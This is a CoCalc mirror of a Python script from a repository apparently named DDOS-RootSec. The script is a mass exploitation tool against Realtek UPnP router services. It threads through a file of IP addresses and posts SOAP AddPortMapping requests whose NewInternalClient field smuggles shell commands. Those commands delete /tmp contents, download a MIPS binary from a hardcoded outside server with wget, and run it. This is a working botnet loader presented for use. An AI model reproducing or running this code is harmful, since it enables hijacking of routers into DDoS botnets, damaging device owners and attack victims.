Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Exploits/REALTEK/realtek.py
5038 views
1
#! python !#
2
import threading, sys, time, random, socket, re, os, struct, array, requests
3
ips = open(sys.argv[1], "r").readlines()
4
p1 = "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp/; rm -rf *; wget http://159.89.204.166/turbo.mips`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>"
5
p2 = "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp/;chmod +x turbo.mips;./turbo.mips realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>"
6
headerlist = {'SOAPAction': 'urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping'}
7
8
class rtek(threading.Thread):
9
def __init__ (self, ip):
10
threading.Thread.__init__(self)
11
self.ip = str(ip).rstrip('\n')
12
def run(self):
13
try:
14
print "[Realtek] Loading - " + self.ip
15
url = "http://" + self.ip + ":52869/picsdesc.xml"
16
requests.post(url, timeout=3, headers=headerlist, data=p1)
17
requests.post(url, timeout=2.5, headers=headerlist, data=p2)
18
except Exception as e:
19
pass
20
21
for ip in ips:
22
try:
23
n = rtek(ip)
24
n.start()
25
time.sleep(0.03)
26
except:
27
pass
28
29